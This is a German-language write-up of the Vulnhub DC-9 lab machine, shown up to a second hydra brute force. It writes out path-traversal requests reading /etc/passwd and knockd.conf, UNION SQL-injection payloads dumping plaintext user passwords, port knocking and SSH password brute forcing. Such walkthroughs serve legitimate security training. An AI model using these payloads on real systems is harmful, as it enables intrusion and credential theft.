DC-9 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
grep
vi
awk
hydra
ssh
find
su
cd
ls
cat
python
...

Inhaltsverzeichnis

Reconnaissance

Im ersten Schritt der Reconnaissance werden grundlegende Informationen über das Zielsystem gesammelt. Dies hilft uns, ein besseres Verständnis der Umgebung zu erlangen und potenzielle Angriffsvektoren zu identifizieren. Die gesammelten Informationen dienen als Grundlage für die nachfolgenden Schritte.

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.160 08:00:27:9c:5d:4a PCS Systemtechnik GmbH
┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.160 dc9.vln

Nachdem die grundlegenden Informationen gesammelt wurden, wird ein Nmap-Scan durchgeführt, um offene Ports und Dienste auf dem Zielsystem zu identifizieren. Die Ergebnisse des Scans geben Aufschluss darüber, welche Dienste auf dem System laufen und welche potenziellen Schwachstellen vorhanden sein könnten.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-20 21:04 CEST
Nmap scan report for dc9.vln (192.168.2.160)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:9C:5D:4A (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACERUTE
HP RTT ADDRESS
1 0.14 ms dc9.vln (192.168.2.160)

S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.75 seconds

Der Nmap-Scan hat ergeben, dass Port 80 (HTTP) geöffnet ist und Apache httpd 2.4.38 verwendet wird. Dies deutet darauf hin, dass eine Webanwendung auf dem Zielsystem läuft. Der nächste Schritt ist die Durchführung einer Web Enumeration, um weitere Informationen über die Webanwendung zu sammeln.

Web Enumeration

Nikto wird verwendet, um die Webanwendung auf bekannte Schwachstellen zu scannen. Nikto ist ein Open-Source-Webserver-Scanner, der auf gefährliche Dateien, veraltete Software und andere Sicherheitsprobleme prüft.

┌──(root㉿CCat)-[~]
└─# Nikto v2.5.0
+ Target IP: 192.168.2.160
+ Target Hostname: 192.168.2.160
+ Target Port: 80
+ Start Time: 2024-10-20 21:05:25 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /includes/: Directory indexing found.
+ /includes/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2024-10-20 21:06:39 (GMT2) (74 seconds)

+ 1 host(s) tested

Nikto hat verschiedene interessante Ergebnisse geliefert, darunter fehlende Sicherheitsheader, eine veraltete Apache-Version und das Vorhandensein potenziell sensibler Dateien wie `/config.php`. Directory Indexing ist in `/css/` und `/includes/` aktiviert, was das Auffinden von Dateien erleichtert.

Gobuster wird verwendet, um weitere Verzeichnisse und Dateien auf dem Webserver zu entdecken. Gobuster ist ein Brute-Force-Tool, das eine Wortliste verwendet, um URLs zu erraten.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.160/index.php (Status: 200) [Size: 917]
http://192.168.2.160/search.php (Status: 200) [Size: 1091]
http://192.168.2.160/welcome.php (Status: 302) [Size: 0] [--> manage.php]
http://192.168.2.160/results.php (Status: 200) [Size: 1056]
http://192.168.2.160/display.php (Status: 200) [Size: 2961]
http://192.168.2.160/css (Status: 301) [Size: 312] [--> http://192.168.2.160/css/]
http://192.168.2.160/includes (Status: 301) [Size: 317] [--> http://192.168.2.160/includes/]
http://192.168.2.160/logout.php (Status: 302) [Size: 0] [--> manage.php]
http://192.168.2.160/config.php (Status: 200) [Size: 0]
http://192.168.2.160/manage.php (Status: 200) [Size: 1210]
http://192.168.2.160/session.php (Status: 302) [Size: 0] [--> manage.php]
Progress: 13674658 / 13674720 (100.00%)

Gobuster hat mehrere interessante Dateien und Verzeichnisse gefunden, darunter `index.php`, `search.php`, `welcome.php`, `results.php`, `display.php`, `config.php` und `manage.php`. Besonders interessant ist `config.php`, da diese Datei möglicherweise sensible Informationen wie Datenbank-Zugangsdaten enthält. Die Weiterleitung von `welcome.php`, `logout.php` und `session.php` zu `manage.php` deutet darauf hin, dass `manage.php` eine zentrale Verwaltungsseite ist.

Da `manage.php` eine zentrale Verwaltungsseite zu sein scheint, wird diese Seite mit Nikto erneut auf Schwachstellen gescannt.

┌──(root㉿CCat)-[~]
└─# nikto -h http://dc9.vln:80/manage.php
+ Target IP: 192.168.2.160
+ Target Hostname: dc9.vln
+ Target Port: 80
+ Start Time: 2024-10-20 22:09:29 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /manage.php/: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /manage.php/: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /manage.php/: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /dc9vln.tar.bz2: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /vln.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /dc9vln.pem: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /dc9.vln.tgz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.htmlhe EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: PST, PTINS, HEAD, GET .
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /manage.php/sips/sipssys/users/a/admin/user: SIPS v0.2.2 allows user account info (including password) to be retrieved remotely. See: https://vulners.com/exploitdb/EDB-ID:22381
+ /manage.php/_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611: Gives info about server settings. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0413,http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0709,http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0710
+ /manage.php/_vti_bin/shtml.exe/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611: Gives info about server settings. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0413,http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0709,http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0710
+ /manage.php/_vti_bin/_vti_aut/author.dll?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=false: We seem to have authoring access to the FrontPage web.
+ /manage.php/_vti_bin/_vti_aut/author.exe?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=false: We seem to have authoring access to the FrontPage web.
+ 7857 requests: 0 error(s) and 121 item(s) reported on remote host
+ End Time: 2024-10-20 22:10:15 (GMT2) (46 seconds)

+ 1 host(s) tested

Der erneute Nikto-Scan auf `/manage.php` hat weitere interessante Ergebnisse geliefert, darunter potenziell interessante Backup-Dateien (`.tar.bz2`, `.tar`, `.pem`, `.tgz`) und Hinweise auf mögliche Sicherheitslücken in Bezug auf FrontPage-Authoring-Zugriff.

Initial Access

Um initialen Zugriff auf das System zu erhalten, werden verschiedene Informationen gesammelt und analysiert. Zuerst werden Benutzernamen und E-Mail-Adressen aus der Webanwendung extrahiert, um eine Liste potenzieller Anmeldedaten zu erstellen.

┌──(root㉿CCat)-[~]
└─# grep -e 'Name' userinfos.txt
Name: Mary Moe
Name: Julie Dooley
Name: Fred Flintstone
Name: Barney Rubble
Name: Tom Cat
Name: Jerry Mouse
Name: Wilma Flintstone
Name: Betty Rubble
Name: Chandler Bing
Name: Joey Tribbiani
Name: Rachel Green
Name: Ross Geller
Name: Monica Geller
Name: Phoebe Buffay
Name: Scooter McScoots
Name: Donald Trump
Name: Scott Morrison

Die Ausgabe zeigt eine Liste von Namen, die als potenzielle Benutzernamen verwendet werden können.

┌──(root㉿CCat)-[~]
└─# grep -e '@' userinfos.txt
Email: marym@example.com
Email: julied@example.com
Email: fredf@example.com
Email: barneyr@example.com
Email: tomc@example.com
Email: jerrym@example.com
Email: wilmaf@example.com
Email: bettyr@example.com
Email: chandlerb@example.com
Email: joeyt@example.com
Email: rachelg@example.com
Email: rossg@example.com
Email: monicag@example.com
Email: phoebeb@example.com
Email: scoots@example.com
Email: janitor@example.com
Email: janitor2@example.com

Die Ausgabe zeigt eine Liste von E-Mail-Adressen, die verwendet werden können, um Benutzernamen zu erraten oder weitere Informationen über die Benutzer zu sammeln.

Example.com - Staff Details

Home
Display All Records
Search
Manage
Add Record
Log ut

You are already logged in as admin.
PHPSESSID "fl4414q7eddmhfnj074hvuta6q"

Die Ausgabe zeigt, dass der Benutzer bereits als `admin` angemeldet ist. Die `PHPSESSID` wird angezeigt, was auf die Verwendung von Cookies für die Sitzungsverwaltung hinweist.

Es wird versucht, über eine lokale Datei-Inclusion (LFI) auf sensible Dateien zuzugreifen. Dies geschieht durch Manipulation des `file`-Parameters in der `manage.php`-Datei.

Request:

GET /manage.php?file=../../../../../../../../etc/passwd HTTP/1.1
Host: dc9.vln
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
rigin: http://dc9.vln
DNT: 1
Connection: keep-alive
Referer: http://dc9.vln/manage.php
Cookie: PHPSESSID=dob0pf43og5g8smtktnf5bref0
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Response:

File does not exist
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110/nonexistent:/usr/sbin/nologin
sshd:x:105:65534/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash
jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash

Der Zugriff auf `/etc/passwd` war erfolgreich, was eine Liste aller Benutzer auf dem System liefert. Dies ist ein wichtiger Schritt, um potenzielle Angriffspunkte zu identifizieren.

Request:

GET /manage.php?file=../../../../../../../../etc/knockd.conf HTTP/1.1
Host: dc9.vln
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
rigin: http://dc9.vln
DNT: 1
Connection: keep-alive
Referer: http://dc9.vln/manage.php
Cookie: PHPSESSID=dob0pf43og5g8smtktnf5bref0
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Response:

[openSSH]
sequence = 7469,8475,9842

seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

Der Zugriff auf `/etc/knockd.conf` war ebenfalls erfolgreich. Diese Datei enthält die Konfiguration für `knockd`, einen Port-Knocking-Daemon. Die Konfiguration zeigt, dass eine bestimmte Sequenz von Port-Knocks erforderlich ist, um den SSH-Port (22) zu öffnen. Dies ist eine wichtige Information für den weiteren Angriff.

Da der SSH-Port durch `knockd` geschützt ist, wird zunächst geprüft, ob der Port tatsächlich geschlossen ist.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# nmap -sS -sC -p22 192.168.2.160 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-20 23:00 CEST
Nmap scan report for dc9.vln (192.168.2.160)
Host is up (0.00020s latency).

PRT STATE SERVICE
22/tcp filtered ssh
MAC Address: 08:00:27:9C:5D:4A (racle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds

Der Nmap-Scan bestätigt, dass der SSH-Port gefiltert ist.

Um den SSH-Port zu öffnen, wird die in `/etc/knockd.conf` gefundene Port-Knocking-Sequenz verwendet.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# knock 192.168.2.160 7469 8475 9842

Nachdem die Port-Knocking-Sequenz gesendet wurde, wird erneut geprüft, ob der SSH-Port geöffnet ist.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# nmap -sS -sC -p22 192.168.2.160 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-20 23:24 CEST
Nmap scan report for dc9.vln (192.168.2.160)
Host is up (0.00023s latency).

PRT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 a2:b3:38:74:32:74:0b:c5:16:dc:13:de:cb:9b:8a:c3 (RSA)
| 256 06:5c:93:87:15:54:68:6b:88:91:55:cf:f8:9a:ce:40 (ECDSA)
|_ 256 e4:2c:88:da:88:63:26:8c:93:d5:f7:63:2b:a3:eb:ab (ED25519)
MAC Address: 08:00:27:9C:5D:4A (racle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds

Fantastisch! Der SSH-Port ist jetzt geöffnet. Der nächste Schritt ist der Versuch, sich über SSH anzumelden.

Nachdem der SSH-Port geöffnet wurde, wird versucht, über eine SQL-Injection Anmeldedaten zu erhalten.

Es wird versucht, eine SQL-Injection in der `results.php`-Datei zu nutzen. Dies geschieht durch Manipulation des Suchparameters.

http://dc9.vln/results.php

Example.com - Staff Details
' UNIN SELECT NULL, NULL, NULL, NULL, NULL, NULL-- '
Search results

ID:
Name:
Position:
Phone No:
Email:
' UNIN SELECT 1, 2, 3, 4, 5, 6-- '
Search results

ID: 1
Name: 2 3
Position: 4
Phone No: 5
Email: 6
' UNIN SELECT @@version,2,3,4,5,user() -- '
Search results

ID: 10.3.17-MariaDB-0+deb10u1
Name: 2 3
Position: 4
Phone No: 5
Email: dbuser@localhost
' UNIN SELECT id,firstname,lastname,username,password,6 FRM users.UserDetails -- '
Search results

ID: 1
Name: Mary Moe
Position: marym
Phone No: 3kfs86sfd
Email: 6

ID: 2
Name: Julie Dooley
Position: julied
Phone No: 468sfdfsd2
Email: 6

ID: 3
Name: Fred Flintstone
Position: fredf
Phone No: 4sfd87sfd1
Email: 6

ID: 4
Name: Barney Rubble
Position: barneyr
Phone No: Rocksff
Email: 6

ID: 5
Name: Tom Cat
Position: tomc
Phone No: TC&TheBoyz
Email: 6

ID: 6
Name: Jerry Mouse
Position: jerrym
Phone No: B8m#48sd
Email: 6

ID: 7
Name: Wilma Flintstone
Position: wilmaf
Phone No: Pebbles
Email: 6

ID: 8
Name: Betty Rubble
Position: bettyr
Phone No: BamBam01
Email: 6

ID: 9
Name: Chandler Bing
Position: chandlerb
Phone No: UrAG0D!
Email: 6

ID: 10
Name: Joey Tribbiani
Position: joeyt
Phone No: Passw0rd
Email: 6

ID: 11
Name: Rachel Green
Position: rachelg
Phone No: yN72#dsd
Email: 6

ID: 12
Name: Ross Geller
Position: rossg
Phone No: ILoveRachel
Email: 6

ID: 13
Name: Monica Geller
Position: monicag
Phone No: 3248dsds7s
Email: 6

ID: 14
Name: Phoebe Buffay
Position: phoebeb
Phone No: smellycats
Email: 6

ID: 15
Name: Scooter McScoots
Position: scoots
Phone No: YR3BVxxxw87
Email: 6

ID: 16
Name: Donald Trump
Position: janitor
Phone No: Ilovepeepee
Email: 6

ID: 17
Name: Scott Morrison
Position: janitor2
Phone No: Hawaii-Five-0
Email: 6

Die SQL-Injection war erfolgreich! Es wurden Benutzernamen und Passwörter aus der Datenbank extrahiert. Nun haben wir unser Ziel erreicht und können mit diesen Anmeldedaten versuchen, uns über SSH anzumelden.

Die extrahierten Benutzernamen werden in der Datei `users` gespeichert und die Passwörter in der Datei `passi`.

┌──(root㉿CCat)-[~]
└─# vi info.txt
┌──(root㉿CCat)-[~]
└─# grep Posit info.txt
Position: marym
Position: julied
Position: fredf
Position: barneyr
Position: tomc
Position: jerrym
Position: wilmaf
Position: bettyr
Position: chandlerb
Position: joeyt
Position: rachelg
Position: rossg
Position: monicag
Position: phoebeb
Position: scoots
Position: janitor
Position: janitor2
┌──(root㉿CCat)-[~]
└─# grep Posit info.txt | awk '{print $2}'
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
┌──(root㉿CCat)-[~]
└─# grep Posit info.txt | awk '{print $2}' > users
┌──(root㉿CCat)-[~]
└─# cat users
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
┌──(root㉿CCat)-[~]
└─# grep Phon info.txt | awk '{print $3}'
3kfs86sfd
468sfdfsd2
4sfd87sfd1
Rocksff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
┌──(root㉿CCat)-[~]
└─# grep Phon info.txt | awk '{print $3}' > passi

Hydra wird verwendet, um einen Brute-Force-Angriff auf den SSH-Dienst durchzuführen. Hydra ist ein schnelles Netzwerk-Login-Hacking-Tool, das viele verschiedene Protokolle unterstützt, darunter SSH.

┌──(root㉿CCat)-[~]
└─# hydra -L users -P passi ssh://192.168.2.160 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-21 00:01:04
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 289 login tries (l:17/p:17), ~5 tries per task
[DATA] attacking ssh://192.168.2.160:22/

[22][ssh] host: 192.168.2.160 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.2.160 login: joeyt password: Passw0rd

1 of 1 target successfully completed, 2 valid passwords found

Der Brute-Force-Angriff war erfolgreich! Es wurden zwei gültige Anmeldedaten gefunden: `chandlerb:UrAG0D!` und `joeyt:Passw0rd`.

Nachdem gültige Anmeldedaten gefunden wurden, wird versucht, sich mit dem Benutzer `chandlerb` über SSH anzumelden.

┌──(root㉿CCat)-[~]
└─# ssh chandlerb@dc9.vln
The authenticity of host 'dc9.vln (192.168.2.160)' can't be established.
ED25519 key fingerprint is SHA256:QqKiAU3zrowiN9K1SVvmSWvLBZAqdSpT0aMLTwGlyvo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dc9.vln' (ED25519) to the list of known hosts.
chandlerb@dc9.vln's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
chandlerb@dc-9$ id
uid=1009(chandlerb) gid=1009(chandlerb) groups=1009(chandlerb)
chandlerb@dc-9$

Die Anmeldung als `chandlerb` war erfolgreich!

Nach der Anmeldung wird nach SUID-Dateien gesucht, die möglicherweise zur Privilege Escalation ausgenutzt werden können.

chandlerb@dc-9$ find / -type f -perm -4000 -ls 2>/dev/null
15862 428 -rwsr-xr-x 1 root root 436552 ct 7 2019 /usr/lib/openssh/ssh-keysign
137189 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
12495 52 -rwsr-xr-- 1 root messagebus 51184 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
60 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
3890 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
63 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
62 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
18413 156 -rwsr-xr-x 1 root root 157192 ct 12 2019 /usr/bin/sudo
3415 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
59 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
3562 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
3888 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount

Es werden auch Anmeldedaten für `joeyt` getestet.

┌──(root㉿CCat)-[~]
└─# ssh joeyt@dc9.vln
joeyt@dc9.vln's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
joeyt@dc-9$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for joeyt:
Sorry, user joeyt may not run sudo on dc-9.
joeyt@dc-9$

Die Anmeldung als `joeyt` war ebenfalls erfolgreich, aber der Benutzer darf `sudo` nicht verwenden.

joeyt@dc-9$ ls /home/
barneyr chandlerb janitor jerrym julied monicag rachelg scoots wilmaf
bettyr fredf janitor2 joeyt marym phoebeb rossg tomc

Es wird versucht, sich als `janitor` über SSH anzumelden.

┌──(root㉿CCat)-[~]
└─# ssh janitor@dc9.vln
janitor@dc9.vln's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
janitor@dc-9$

Die Anmeldung als `janitor` war erfolgreich!

janitor@dc-9$ ls -la
total 12
drwx 3 janitor janitor 4096 Dec 29 2019 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
janitor@dc-9$ cd .secrets-for-putin/
janitor@dc-9/.secrets-for-putin$ ls -la
total 12
drwx 2 janitor janitor 4096 Dec 29 2019 .
drwx 3 janitor janitor 4096 Dec 29 2019 ..
-rwx 1 janitor janitor 66 Dec 29 2019 passwords-found-on-post-it-notes.txt
janitor@dc-9/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

Im Home-Verzeichnis des Benutzers `janitor` wurde ein interessantes Verzeichnis `.secrets-for-putin` gefunden, das eine Datei `passwords-found-on-post-it-notes.txt` enthält. Diese Datei enthält eine Liste von Passwörtern, die möglicherweise für andere Benutzer auf dem System verwendet werden können.

Es wird versucht, eine Liste aller Benutzer zu erhalten, die die Bash-Shell verwenden.

janitor@dc-9/.secrets-for-putin$ grep bash /etc/passwd | tr ":" " " | awk '{print $1}'
root
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

Es wird nun mit den gefundenen Passwörtern versucht, sich als anderer Benutzer anzumelden.

┌──(root㉿CCat)-[~]
└─# hydra -L benuz -P neup ssh://192.168.2.160 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-21 00:11:40
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 114 login tries (l:19/p:6), ~2 tries per task
[DATA] attacking ssh://192.168.2.160:22/

[22][ssh] host: 192.168.2.160 login: fredf password: B4-Tru3-001
[22][ssh] host: 192.168.2.160 login: joeyt password: Passw0rd

1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-21 00:12:02

Fantastisch! Der Brute-Force-Angriff war erfolgreich und es wurde ein neuer Benutzer gefunden: `fredf:B4-Tru3-001`.

